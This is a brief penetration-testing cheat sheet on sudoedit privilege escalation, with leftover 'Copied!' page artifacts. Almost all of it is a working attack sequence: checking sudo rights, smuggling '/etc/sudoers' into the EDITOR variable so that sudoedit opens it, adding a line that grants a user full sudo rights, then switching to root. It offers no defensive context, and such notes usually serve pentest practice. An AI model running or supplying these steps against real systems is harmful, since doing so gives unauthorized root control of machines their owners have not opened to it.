Sudoedit Privilege Escalation
Sudoedit is vulnerable to privilege escalation.
sudo -l
(root) sudoedit /opt/example.txt
Copied!export EDITOR="vim -- /etc/sudoers"
sudoedit /opt/example.txt
Copied!john ALL=(ALL:ALL) ALL
Copied!sudo su root
Copied!References
Last updated
